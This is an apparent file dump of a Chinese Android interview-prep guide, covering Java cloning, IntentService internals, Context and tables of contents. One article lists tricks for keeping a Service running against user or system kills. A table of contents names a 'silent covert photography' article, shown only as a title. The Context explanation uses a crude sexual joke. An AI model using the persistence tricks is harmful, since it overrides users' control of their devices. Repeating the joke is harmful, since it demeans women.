Person p2 = CloneUtil.clone(p1);\n            // 修改克隆的Person对象p2关联的汽车对象的品牌属性\n            // 原来的Person对象p1关联的汽车不会受到任何影响，还是Benz\n            // 因为在克隆Person对象时其关联的汽车对象也被克隆了\n            \n            p2.setAge(25);\n            p2.getCar().setBrand(\"BYD\");\n            \n            System.out.println(p1);\n\n            Person2 p3 = new Person2(\"xiaoming\",18,new Car(\"Benz\",300));\n            Person2 p4 = (Person2) p3.clone();\n            p4.setAge(25);\n            p4.getCar().setBrand(\"BYD\");\n\n            System.out.println(p3);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n结果\n![img](img/clone3.png)"
  },
  {
    "path": "docs/android/Android-Interview/README.md",
    "content": "\n## Android面试\n\n1. [史上最全 Android 面试资料集合](Android/史上最全 Android 面试资料集合.md)\n2. [2016Android某公司面试题](http://blog.csdn.net/jdsjlzx/article/details/51201925)\n3. [国内一线互联网公司内部面试题库](https://github.com/JackyAndroid/AndroidInterview-Q-A/blob/master/README-CN.md)\n4. [BAT无线工程师面试流程详细解析](http://blog.csdn.net/axi295309066/article/details/52317615)\n5. [阿里面经1](http://blog.csdn.net/axi295309066/article/details/50512835)\n6. [ Android面试题整理](http://blog.csdn.net/x605940745/article/category/1808335)\n7. [2016Android某公司面试题](http://yuweiguocn.github.io/interview-2016-big-company/)\n8. [Android面试题集合](http://blog.csdn.net/axi295309066/article/details/54089310)\n9. [一个五年Android 开发者百度、阿里、聚美、映客的面试心经](http://blog.csdn.net/jdsjlzx/article/details/51860422?locationNum=2&fps=1)\n10. [扫清Android面试障碍--面试前的准备](http://blog.csdn.net/jdsjlzx/article/details/51424303?locationNum=1&fps=1)\n11. [Andorid-15k+的面试题](http://blog.csdn.net/jdsjlzx/article/details/40738053?locationNum=3&fps=1)\n12. [Android 开发工程师面试指南](https://github.com/GeniusVJR/LearningNotes)\n13. [面试不失败-揭秘IT面试各个环节成功的内幕](https://pan.baidu.com/s/1mhB0aSg?errno=0&errmsg=Auth%20Login%20Sucess&&bduss=&ssnerror=0#list/path=%2F)\n14. [亲爱的面试官，这个我可没看过！（Android部分）](http://www.jianshu.com/p/89f19d67b348)\n15. [115个Java面试题及回答](https://github.com/snowdream/115-Java-Interview-Questions-and-Answers/tree/master/zh)\n16. [interview-about](https://github.com/closedevice/interview-about)\n\n## 目录\n\n- [前言](README.md)\n- [Android视频教程](Android/Android视频教程.md)\n- [BAT大咖助力，全面升级Android面试](Android/BAT大咖助力全面升级Android面试.md)\n- [Android高级面试，10大开源框架源码解析](Android/Android高级面试10大开源框架源码解析.md)\n- [Android](Android/README.md)\n  - [Android基础面试核心内容](Android/Android基础面试核心内容.md)\n  - [Android面试精华题目总结](Android/Android面试精华题目总结.md)\n  - [Android面试题-1](Android/Android面试题-1.md)\n  - [Android面试题-2](Android/Android面试题-2.md)\n  - [Android面试重点](Android/Android面试重点.md)\n  - [接口安全](Android/接口安全.md)\n  - [平台架构](Android/平台架构.md)\n- [源码分析相关面试题](源码分析/README.md)\n  - [Volley源码剖析](源码分析/Volley源码剖析.md)\n  - [注解框架内部实现原理](源码分析/注解框架内部实现原理.md)\n  - [okhttp内核剖析](源码分析/okhttp内核剖析.md)\n  - [Android源码编译实现静默安装和静默偷拍](源码分析/Android源码编译实现静默安装和静默偷拍.md)\n- [Activity相关面试题](Activity/README.md)\n  - [onSaveInstanceState源码内核分析](Activity/onSaveInstanceState源码内核分析.md)\n  - [深刻剖析activity启动模式-1](Activity/深刻剖析activity启动模式-1.md)\n  - [深刻剖析activity启动模式-2](Activity/深刻剖析activity启动模式-2.md)\n  - [深刻剖析activity启动模式-3](Activity/深刻剖析activity启动模式-3.md)\n  - [Activity Task和Process之间的关系](Activity/Activity Task和Process.md)\n  - [为什么service里面startActivity抛异常](Activity/为什么service里面startActivity抛异常.md)\n  - [App优雅退出](Activity/App优雅退出.md)\n  - [onCreate源码分析](Activity/onCreate源码分析.md)\n- [Service相关面试题](Service/README.md)\n  - [IntentService源码分析](Service/IntentService源码分析.md)\n  - [Service是否在main thread中执行, service里面是否能执行耗时的操作?](Service/Android面试题-Service.md)\n  - [Android面试题-Service不死之身](Service/Android面试题-Service不死之身.md)\n- [与XMPP相关面试题](网络编程/README.md)\n  - [阐述一下对XMPP协议理解以及优缺点？](网络编程/阐述一下对XMPP协议理解以及优缺点？.md)\n  - [简单阐述一下及时推送原理？](网络编程/简单阐述一下及时推送原理？.md)\n- [与性能优化相关面试题](性能优化/README.md)\n  - [内存泄漏和内存溢出区别](性能优化/与性能优化相关试题一.md)\n  - [UI优化和线程池实现原理](性能优化/与性能优化相关试题二.md)\n  - [代码优化](性能优化/与性能优化相关试题三.md)\n  - [Android应用UI性能分析](性能优化/Android应用UI性能分析.md)\n  - [内存泄漏监测](性能优化/内存泄漏监测.md)\n  - [App应用启动分析与优化](性能优化/App应用启动分析与优化.md)\n  - [与IPC机制相关面试题](性能优化/与IPC机制相关面试题.md)\n- [与登录相关面试题](登陆注册/README.md)\n  - [Oauth的实现原理](登陆注册/Oauth的实现原理.md)\n  - [Token的实际意义](登陆注册/Token的实际意义.md)\n  - [微信扫码登录内部实现原理](登陆注册/微信扫码登录内部实现原理.md)\n- [与开发相关面试题](开发遇到的问题/README.md)\n  - [迭代开发的时候如何向前兼容新旧接口？](开发遇到的问题/迭代开发的时候如何向前兼容新旧接口？.md)\n  - [手把手教你如何解决as jar包冲突](开发遇到的问题/手把手教你如何解决as jar包冲突.md)\n  - [Context原理分析](开发遇到的问题/Context原理分析.md)\n  - [解决ViewPager.setCurrentItem中间很多页面切换方案](开发遇到的问题/终极解决ViewPager.setCurrentItem中间页面过多解决方案.md)\n  - [解决字体适配](开发遇到的问题/解决字体适配.md)\n  - [软键盘顶出去解决方案](开发遇到的问题/软键盘顶出去解决方案.md)\n  - [机型适配之痛](开发遇到的问题/机型适配之痛.md)\n  - [ViewPager和Fragment使用过程中会遇到哪些问题](开发遇到的问题/ViewPager和Fragment使用过程中会遇到哪些问题.md)\n- [与人事相关面试题](HR/README.md)\n  - [人事面试宝典一之自我介绍](HR/人事面试宝典一之自我介绍.md)\n  - [人事面试宝典二之离职](HR/人事面试宝典二之离职.md)\n  - [人事面试宝典](HR/人事面试宝典.md)\n- [网络编程](网络编程/README.md)\n  - [Android客户端和服务端如何使用Token和Session](网络编程/Android客户端和服务端如何使用Token和Session.md)\n  - [推送原理](网络编程/推送原理.md)\n- [Java面试题](Java/README.md)\n  - [深拷贝浅拷贝](Java/深拷贝浅拷贝.md)\n  - [数据库求差](Java/数据库求差.md)\n  - [Java面试题-1](Java/Java面试题-1.md)\n  - [Java面试题-2](Java/Java面试题-2.md)\n  - [Java高级软件工程师面试考纲](Java/Java高级软件工程师面试考纲.md)\n  - [66道经典的Java基础面试题集锦](Java/66道经典的Java基础面试题集锦.md)\n  - [115个Java面试题及回答](Java/115个Java面试题及回答.md)\n  - [J2SE基础面试核心内容](Java/J2SE基础面试核心内容.md)\n  - [J2SE高级面试核心内容](Java/J2SE高级面试核心内容.md)\n- [面试技巧](面试技巧/README.md)\n  - [程序员面试宝典](面试技巧/程序员面试宝典.md)\n  - [罗永浩新东方万字求职信](面试技巧/罗永浩新东方万字求职信.md)\n  - [我在面试中最喜欢问开发者的问题，和回答思路](面试技巧/我在面试中最喜欢问开发者的问题，和回答思路.md)\n- [经验分享](经验分享/README.md)\n  - [我为什么要离开华为？](经验分享/我为什么要离开华为？.md)\n  - [工作三年后，我选择离开腾讯](经验分享/工作三年后，我选择离开腾讯.md)\n  - [一个程序员的血泪史](经验分享/一个程序员的血泪史.md)\n  - [我为什么离开锤子科技？](经验分享/我为什么离开锤子科技？.md)\n  - [互联网巨头BAT3内部员工的真实状况](经验分享/互联网巨头BAT3内部员工的真实状况.md)\n  - [扫清Android面试障碍](经验分享/扫清Android面试障碍.md)\n  - [史上最全 Android 面试资料集合](经验分享/史上最全 Android 面试资料集合.md)\n  - [2016年4月某公司面试题及面试流程](经验分享/2016年4月某公司面试题及面试流程.md)\n  - [2017届实习生招聘面经](经验分享/2017届实习生招聘面经.md)\n  - [国内一线互联网公司内部面试题库](经验分享/国内一线互联网公司内部面试题库.md)\n  - [互联网公司面试经验总结](经验分享/互联网公司面试经验总结.md)\n  - [一个五年Android开发者百度、阿里、聚美、映客的面试心经](经验分享/一个五年Android开发者百度、阿里、聚美、映客的面试心经.md)\n  - [腾讯公司程序员面试题及答案详解](经验分享/腾讯公司程序员面试题及答案详解.md)\n  - [面试心得与总结：BAT、网易、蘑菇街 ](经验分享/面试心得与总结：BAT、网易、蘑菇街 .md)\n  - [阿里+百度+CVTE面经合集](经验分享/阿里+百度+CVTE面经合集.md)\n  - [技术硬碰硬—阳哥带你玩转上海Android招聘市场](经验分享/技术硬碰硬—阳哥带你玩转上海Android招聘市场.md)\n  - [Android 曲折的求职之路](经验分享/Android 曲折的求职之路.md)\n  - [杭州找 Android 工作的点点滴滴](经验分享/杭州找 Android 工作的点点滴滴.md)\n  - [给培训班出来的一点不成熟的小建议](经验分享/给培训班出来的一点不成熟的小建议.md)\n  - [Android 暑期实习生面试经验谈](经验分享/Android 暑期实习生面试经验谈.md)\n\n"
  },
  {
    "path": "docs/android/Android-Interview/SUMMARY.md",
    "content": "# Summary\n\n* [前言](README.md)\n* [Android视频教程](Android/Android视频教程.md)\n* [BAT大咖助力，全面升级Android面试](Android/BAT大咖助力全面升级Android面试.md)\n* [Android高级面试，10大开源框架源码解析](Android/Android高级面试10大开源框架源码解析.md)\n* [Android](Android/README.md)\n  * [Android基础面试核心内容](Android/Android基础面试核心内容.md)\n  * [Android面试精华题目总结](Android/Android面试精华题目总结.md)\n  * [Android面试题-1](Android/Android面试题-1.md)\n  * [Android面试题-2](Android/Android面试题-2.md)\n  * [Android面试重点](Android/Android面试重点.md)\n  * [接口安全](Android/接口安全.md)\n  * [平台架构](Android/平台架构.md)\n* [源码分析相关面试题](源码分析/README.md)\n  * [Volley源码剖析](源码分析/Volley源码剖析.md)\n  * [注解框架内部实现原理](源码分析/注解框架内部实现原理.md)\n  * [okhttp内核剖析](源码分析/okhttp内核剖析.md)\n  * [Android源码编译实现静默安装和静默偷拍](源码分析/Android源码编译实现静默安装和静默偷拍.md)\n* [Activity相关面试题](Activity/README.md)\n  * [onSaveInstanceState源码内核分析](Activity/onSaveInstanceState源码内核分析.md)\n  * [深刻剖析activity启动模式-1](Activity/深刻剖析activity启动模式-1.md)\n  * [深刻剖析activity启动模式-2](Activity/深刻剖析activity启动模式-2.md)\n  * [深刻剖析activity启动模式-3](Activity/深刻剖析activity启动模式-3.md)\n  * [Activity Task和Process之间的关系](Activity/Activity Task和Process.md)\n  * [为什么service里面startActivity抛异常](Activity/为什么service里面startActivity抛异常.md)\n  * [App优雅退出](Activity/App优雅退出.md)\n  * [onCreate源码分析](Activity/onCreate源码分析.md)\n* [Service相关面试题](Service/README.md)\n  * [IntentService源码分析](Service/IntentService源码分析.md)\n  * [Service是否在main thread中执行, service里面是否能执行耗时的操作?](Service/Android面试题-Service.md)\n  * [Android面试题-Service不死之身](Service/Android面试题-Service不死之身.md)\n* [与XMPP相关面试题](网络编程/README.md)\n  * [阐述一下对XMPP协议理解以及优缺点？](网络编程/阐述一下对XMPP协议理解以及优缺点？.md)\n  * [简单阐述一下及时推送原理？](网络编程/简单阐述一下及时推送原理？.md)\n* [与性能优化相关面试题](性能优化/README.md)\n  * [内存泄漏和内存溢出区别](性能优化/与性能优化相关试题一.md)\n  * [UI优化和线程池实现原理](性能优化/与性能优化相关试题二.md)\n  * [代码优化](性能优化/与性能优化相关试题三.md)\n  * [Android应用UI性能分析](性能优化/Android应用UI性能分析.md)\n  * [内存泄漏监测](性能优化/内存泄漏监测.md)\n  * [App应用启动分析与优化](性能优化/App应用启动分析与优化.md)\n  * [与IPC机制相关面试题](性能优化/与IPC机制相关面试题.md)\n* [与登录相关面试题](登陆注册/README.md)\n  * [Oauth的实现原理](登陆注册/Oauth的实现原理.md)\n  * [Token的实际意义](登陆注册/Token的实际意义.md)\n  * [微信扫码登录内部实现原理](登陆注册/微信扫码登录内部实现原理.md)\n* [与开发相关面试题](开发遇到的问题/README.md)\n  * [迭代开发的时候如何向前兼容新旧接口？](开发遇到的问题/迭代开发的时候如何向前兼容新旧接口？.md)\n  * [手把手教你如何解决as jar包冲突](开发遇到的问题/手把手教你如何解决as jar包冲突.md)\n  * [Context原理分析](开发遇到的问题/Context原理分析.md)\n  * [解决ViewPager.setCurrentItem中间很多页面切换方案](开发遇到的问题/终极解决ViewPager.setCurrentItem中间页面过多解决方案.md)\n  * [解决字体适配](开发遇到的问题/解决字体适配.md)\n  * [软键盘顶出去解决方案](开发遇到的问题/软键盘顶出去解决方案.md)\n  * [机型适配之痛](开发遇到的问题/机型适配之痛.md)\n  * [ViewPager和Fragment使用过程中会遇到哪些问题](开发遇到的问题/ViewPager和Fragment使用过程中会遇到哪些问题.md)\n* [与人事相关面试题](HR/README.md)\n  * [人事面试宝典一之自我介绍](HR/人事面试宝典一之自我介绍.md)\n  * [人事面试宝典二之离职](HR/人事面试宝典二之离职.md)\n  * [人事面试宝典](HR/人事面试宝典.md)\n* [网络编程](网络编程/README.md)\n  * [Android客户端和服务端如何使用Token和Session](网络编程/Android客户端和服务端如何使用Token和Session.md)\n  * [推送原理](网络编程/推送原理.md)\n* [Java面试题](Java/README.md)\n  * [深拷贝浅拷贝](Java/深拷贝浅拷贝.md)\n  * [数据库求差](Java/数据库求差.md)\n  * [Java面试题-1](Java/Java面试题-1.md)\n  * [Java面试题-2](Java/Java面试题-2.md)\n  * [Java高级软件工程师面试考纲](Java/Java高级软件工程师面试考纲.md)\n  * [66道经典的Java基础面试题集锦](Java/66道经典的Java基础面试题集锦.md)\n  * [115个Java面试题及回答](Java/115个Java面试题及回答.md)\n  * [J2SE基础面试核心内容](Java/J2SE基础面试核心内容.md)\n  * [J2SE高级面试核心内容](Java/J2SE高级面试核心内容.md)\n* [面试技巧](面试技巧/README.md)\n  * [程序员面试宝典](面试技巧/程序员面试宝典.md)\n  * [罗永浩新东方万字求职信](面试技巧/罗永浩新东方万字求职信.md)\n  * [我在面试中最喜欢问开发者的问题，和回答思路](面试技巧/我在面试中最喜欢问开发者的问题，和回答思路.md)\n* [经验分享](经验分享/README.md)\n  * [我为什么要离开华为？](经验分享/我为什么要离开华为？.md)\n  * [工作三年后，我选择离开腾讯](经验分享/工作三年后，我选择离开腾讯.md)\n  * [一个程序员的血泪史](经验分享/一个程序员的血泪史.md)\n  * [我为什么离开锤子科技？](经验分享/我为什么离开锤子科技？.md)\n  * [互联网巨头BAT3内部员工的真实状况](经验分享/互联网巨头BAT3内部员工的真实状况.md)\n  * [扫清Android面试障碍](经验分享/扫清Android面试障碍.md)\n  * [史上最全 Android 面试资料集合](经验分享/史上最全 Android 面试资料集合.md)\n  * [2016年4月某公司面试题及面试流程](经验分享/2016年4月某公司面试题及面试流程.md)\n  * [2017届实习生招聘面经](经验分享/2017届实习生招聘面经.md)\n  * [国内一线互联网公司内部面试题库](经验分享/国内一线互联网公司内部面试题库.md)\n  * [互联网公司面试经验总结](经验分享/互联网公司面试经验总结.md)\n  * [一个五年Android开发者百度、阿里、聚美、映客的面试心经](经验分享/一个五年Android开发者百度、阿里、聚美、映客的面试心经.md)\n  * [腾讯公司程序员面试题及答案详解](经验分享/腾讯公司程序员面试题及答案详解.md)\n  * [面试心得与总结：BAT、网易、蘑菇街 ](经验分享/面试心得与总结：BAT、网易、蘑菇街 .md)\n  * [阿里+百度+CVTE面经合集](经验分享/阿里+百度+CVTE面经合集.md)\n  * [技术硬碰硬—阳哥带你玩转上海Android招聘市场](经验分享/技术硬碰硬—阳哥带你玩转上海Android招聘市场.md)\n  * [Android 曲折的求职之路](经验分享/Android 曲折的求职之路.md)\n  * [杭州找 Android 工作的点点滴滴](经验分享/杭州找 Android 工作的点点滴滴.md)\n  * [给培训班出来的一点不成熟的小建议](经验分享/给培训班出来的一点不成熟的小建议.md)\n  * [Android 暑期实习生面试经验谈](经验分享/Android 暑期实习生面试经验谈.md)\n"
  },
  {
    "path": "docs/android/Android-Interview/Service/Android面试题-Service.md",
    "content": "**Android面试题-Service是否在main thread中执行, service里面是否能执行耗时的操作?**\n\nService不是独立的进程，也不是独立的线程，它是依赖于应用程序的主线程的，也就是说，在更多时候不建议在Service中编写耗时的逻辑和操作（比如:网络请求，拷贝数据库，大文件），否则会引起ANR。\n\n如果想在服务中执行耗时的任务。有以下解决方案：\n\n1） 在service中开启一个子线程\n\n```\nnew Thread(){}.start();\n```\n\n2） 可以使用IntentService异步管理服务\n参考文章IntentService的使用：\n[http://blog.csdn.net/mwq384807683/article/details/72549222](http://blog.csdn.net/mwq384807683/article/details/72549222)\n\nService 和 Activity 在同一个线程，对于同一 app 来说默认情况下是在同一个线程中的 main Thread (UI Thread)"
  },
  {
    "path": "docs/android/Android-Interview/Service/Android面试题-Service不死之身.md",
    "content": "### 1. 在onStartCommand方法中将flag设置为START_STICKY;\n\n```\nreturn Service.START_STICKY;\n```\n\n### 2. 在xml中设置了android:priority\n\n```xml\n <!--设置服务的优先级为MAX_VALUE-->\n <service android:name=\".MyService\"\n          android:priority=\"2147483647\"\n          >\n </service>\n```\n\n### 3. 在onStartCommand方法中设置为前台进程\n\n```java\n @Override\n    public int onStartCommand(Intent intent, int flags, int startId) {\n      Notification notification = new Notification(R.mipmap.ic_launcher, \"服务正在运行\",System.currentTimeMillis());\n       Intent notificationIntent = new Intent(this, MainActivity.class);\n        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0,notificationIntent,0);\n        RemoteViews remoteView = new RemoteViews(this.getPackageName(),R.layout.notification);\n        remoteView.setImageViewResource(R.id.image, R.mipmap.ic_launcher);\n        remoteView.setTextViewText(R.id.text , \"Hello,this message is in a custom expanded view\");\n        notification.contentView = remoteView;\n        notification.contentIntent = pendingIntent;\n        startForeground(1, notification);\n        return Service.START_STICKY;\n\n    }\n```\n\n### 4. 在onDestroy方法中重启service\n\n```java\n@Override\npublic void onDestroy() {\n        super.onDestroy();\n        startService(new Intent(this, MyService.class));\n}\n```\n\n### 5. 用AlarmManager.setRepeating(...)方法循环发送闹钟广播,接收的时候调用service的onstart方法\n\n```java\nIntent intent = new Intent(MainActivity.this,MyAlarmReciver.class);\n        PendingIntent sender = PendingIntent.getBroadcast( MainActivity.this, 0, intent, 0);\n\n        // We want the alarm to go off 10 seconds from now.\n        Calendar calendar = Calendar.getInstance();\n        calendar.setTimeInMillis(System.currentTimeMillis());\n        calendar.add(Calendar.SECOND, 1);\n        AlarmManager am = (AlarmManager) getSystemService(ALARM_SERVICE);\n        //重复闹钟\n        /**\n         *  @param type\n         * @param triggerAtMillis t 闹钟的第一次执行时间，以毫秒为单位\n         * go off, using the appropriate clock (depending on the alarm type).\n         * @param intervalMillis 表示两次闹钟执行的间隔时间，也是以毫秒为单位\n         * of the alarm.\n         * @param operation 绑定了闹钟的执行动作，比如发送一个广播、给出提示等等\n         */\n        am.setRepeating(AlarmManager.RTC_WAKEUP, calendar.getTimeInMillis(), 2 * 1000, sender);\n```\n\n### 6. 目前市场面的很多三方的消息推送SDK唤醒APP,例如Jpush\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-ac7fa1011763eae3?imageMogr2/auto-orient/strip)\n\n### **总结**\n\n这纯粹是面试的时候忽悠一下面试官，不代表着你的Service就永生不死了，只能说是提高了进程的优先级。迄今为止我没有发现能够通过常规方法达到流氓需求(通过长按home键清除都清除不掉)的方法，目前所有方法都是指通过Android的内存回收机制和普通的第三方内存清除等手段后仍然保持运行的方法，有些手机厂商把这些知名的app放入了自己的白名单中，保证了进程不死来提高用户体验（如微信、QQ、陌陌都在小米的白名单中）。如果从白名单中移除，他们终究还是和普通app一样躲避不了被杀的命运。"
  },
  {
    "path": "docs/android/Android-Interview/Service/IntentService源码分析.md",
    "content": "IntentService是继承于Service并处理异步请求的一个类，在IntentService内有一个工作线程来处理耗时操作，启动IntentService的方式和启动传统Service一样，同时，当任务执行完后，IntentService会自动停止，而不需要我们去手动控制。另外，可以启动IntentService多次，而每一个耗时操作会以工作队列的方式在IntentService的onHandleIntent回调方法中执行，并且，每次只会执行一个工作线程，执行完第一个再执行第二个，以此类推。\n\n而且，所有请求都在一个单线程中，不会阻塞应用程序的主线程（UI Thread），同一时间只处理一个请求。\n\n### **IntentService有什么好处呢？**\n\n1）我们省去了在Service中手动开线程的麻烦，\n\n2）当操作完成时，我们不用手动停止Service。\n\n接下来让我们来看看如何使用，写一个Demo来模拟两个耗时操作，Operation1与Operation2，先执行1，2必须等1执行完才能执行2：\n\n新建工程，新建一个继承IntentService的类，我这里是IntentServiceDemo.java\n\n```java\npublic class IntentServiceDemo extends IntentService {\n\n    public IntentServiceDemo() {\n        //必须实现父类的构造方法\n        super(\"IntentServiceDemo\");\n    }\n\n    @Override\n    public IBinder onBind(Intent intent) {\n        System.out.println(\"onBind\");\n        return super.onBind(intent);\n    }\n\n\n    @Override\n    public void onCreate() {\n        System.out.println(\"onCreate\");\n        super.onCreate();\n    }\n\n    @Override\n    public void onStart(Intent intent, int startId) {\n        System.out.println(\"onStart\");\n        super.onStart(intent, startId);\n    }\n\n\n    @Override\n    public int onStartCommand(Intent intent, int flags, int startId) {\n        System.out.println(\"onStartCommand\");\n        return super.onStartCommand(intent, flags, startId);\n    }\n\n\n    @Override\n    public void setIntentRedelivery(boolean enabled) {\n        super.setIntentRedelivery(enabled);\n        System.out.println(\"setIntentRedelivery\");\n    }\n\n    @Override\n    protected void onHandleIntent(Intent intent) {\n        //Intent是从Activity发过来的，携带识别参数，根据参数不同执行不同的任务\n        System.out.println(\"currentThread()=\" + Thread.currentThread().getName());\n        String action = intent.getExtras().getString(\"param\");\n        if (action.equals(\"oper1\")) {\n            System.out.println(\"Operation1\");\n        }else if (action.equals(\"oper2\")) {\n            System.out.println(\"Operation2\");\n        }\n\n        try {\n            Thread.sleep(2000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n\n    @Override\n    public void onDestroy() {\n        System.out.println(\"onDestroy\");\n        super.onDestroy();\n    }\n\n}\n```\n\n我把生命周期方法全打印出来了，待会我们来看看它执行的过程是怎样的。接下来是Activity，在Activity中来启动IntentService：\n\n```java\npublic class TestActivity extends Activity {\n    /** Called when the activity is first created. */\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.main);\n\n        //可以启动多次，每启动一次，就会新建一个work thread，但IntentService的实例始终只有一个\n        //Operation 1\n        Intent startServiceIntent = new Intent(\"com.test.intentservice\");\n        Bundle bundle = new Bundle();\n        bundle.putString(\"param\", \"oper1\");\n        startServiceIntent.putExtras(bundle);\n        startService(startServiceIntent);\n\n        //Operation 2\n        Intent startServiceIntent2 = new Intent(\"com.test.intentservice\");\n        Bundle bundle2 = new Bundle();\n        bundle2.putString(\"param\", \"oper2\");\n        startServiceIntent2.putExtras(bundle2);\n        startService(startServiceIntent2);\n    }\n}\n```\n\n最后，别忘了配置Service，因为它继承于Service，所以，它还是一个Service，一定要配置，否则是不起作用的\n\n```xml\n<service android:name=\".IntentServiceDemo\">\n      <intent-filter >\n          <action android:name=\"com.test.intentservice\"/>\n      </intent-filter>\n</service>\n```\n\n最后来看看执行结果:\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-317f5bb26ae43dd3?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n从结果可以看到，onCreate方法只执行了一次，而onStartCommand和onStart方法执行了两次，开启了两个Work Thread，这就证实了之前所说的，启动多次，但IntentService的实例只有一个，这跟传统的Service是一样的。Operation1也是先于Operation2打印，并且我让两个操作间停顿了2s，最后是onDestroy销毁了IntentService。\n\n### **IntentService 源码分析**\n\n```java\n@Override\npublic void onCreate() {\n        super.onCreate();\n        HandlerThread thread = new HandlerThread(\"IntentService[\" + mName + \"]\");\n        thread.start();\n        mServiceLooper = thread.getLooper();\n        mServiceHandler = new ServiceHandler(mServiceLooper);\n}\n```\n\n#### **源码可知：**\n\n1）实际上是使用了一个 HandlerThread 来维护线程的，\n\n2） HandleThread 中，内部已经维护一个 Looper，这里直接使用 HandlerThread 的 Looper 对象，便于在 IntentService 中去维护消息队列，\n\n3）创建的 mServiceHandler 是属于 HandleThread 这个 WorkerThread 的。\n\n```java\nprivate final class ServiceHandler extends Handler {\n        public ServiceHandler(Looper looper) {\n            super(looper);\n        }\n\n        @Override\n        public void handleMessage(Message msg) {\n            onHandleIntent((Intent)msg.obj);\n            stopSelf(msg.arg1);\n        }\n    }\n```\n\n#### **源码可知：**\n\n1）直接把消息交给 onHandleIntent() 方法去执行具体的业务逻辑\n\n2）执行完成之后，立即调用 stopSelf() 方法停止自己\n\n接下来分析start源码\n\n```java\n @Override\n public void onStart(Intent intent, int startId) {\n        Message msg = mServiceHandler.obtainMessage();\n        msg.arg1 = startId;\n        msg.obj = intent;\n        mServiceHandler.sendMessage(msg);\n  }\n  @Override\n  public int onStartCommand(Intent intent, int flags, int startId) {\n        onStart(intent, startId);\n        return mRedelivery ? START_REDELIVER_INTENT : START_NOT_STICKY;\n    }\n```\n\n#### 源码可知\n\n1）在 onStartCommand() 中直接调用了 onStart() 方法\n\n2）而上面 stopSelf() 方法使用的 startId 来停止当前的此次任务服务。\n\n3）而 Service 如果被启动多次，就会存在多个 startId ，当所有的 startId 都被停止之后，才会调用 onDestory() 自我销毁。\n\n我们在看看HandlerThread启动之后的源码\n\n```java\n@Override\npublic void run() {\n        mTid = Process.myTid();\n        Looper.prepare();\n        synchronized (this) {\n            mLooper = Looper.myLooper();\n            notifyAll();\n        }\n        Process.setThreadPriority(mPriority);\n        onLooperPrepared();\n        Looper.loop();\n        mTid = -1;\n    }\n```\n\n#### **源码可知**\n\nrun方法里面添加了锁，这也解释了为什么多次 start 同一个 IntentService 它会顺序执行，全部执行完成之后，再自我销毁。"
  },
  {
    "path": "docs/android/Android-Interview/Service/README.md",
    "content": "## Service相关面试题\n\n- [IntentService源码分析](IntentService源码分析.md)\n- [Service是否在main thread中执行, service里面是否能执行耗时的操作?](Android面试题-Service.md)\n- [Android面试题-Service不死之身](Android面试题-Service不死之身.md)"
  },
  {
    "path": "docs/android/Android-Interview/book.json",
    "content": "{\n    \"author\": \"JackChan\",\n    \"description\": \"Android面试宝典\",\n    \"gitbook\": \"3.2.3\",\n    \"language\": \"zh-hans\",\n    \"title\": \"Android面试宝典\",\n    \"pdf\": {\n        \"fontFamily\": \"等线\"\n    }\n}"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/Context原理分析.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [配套视频](https://v.qq.com/x/page/y0396os8vc6.html)\n\n## 谈一下你对Android中的context的理解，在一个应用程序中有多少个context实例？\n\n### 1. 什么是Context?\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-bf283f5324e5a188.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n通过金山词霸解释：上下文环境，什么是环境，这个词只可意会不可言传，为了大家更好的理解，举一个栗子，比如：我想点鸡，我在麦当劳跟服务员说我想点鸡，服务员给端上来一只香喷喷的烤鸡，如下图：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-3f21cf0410b902fd.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n但是我换一个环境 ，去红灯区点鸡，妈咪就会给带来一只呆萌可爱的失足少女，如下图：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-24dddb07d9119c2a.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n这就是环境，一样的东西不同地方，就表示不一样的意思。\n\n### Context，中文直译为“上下文”，SDK中对其说明如下：\n\nInterface to global information about an application environment. This is an 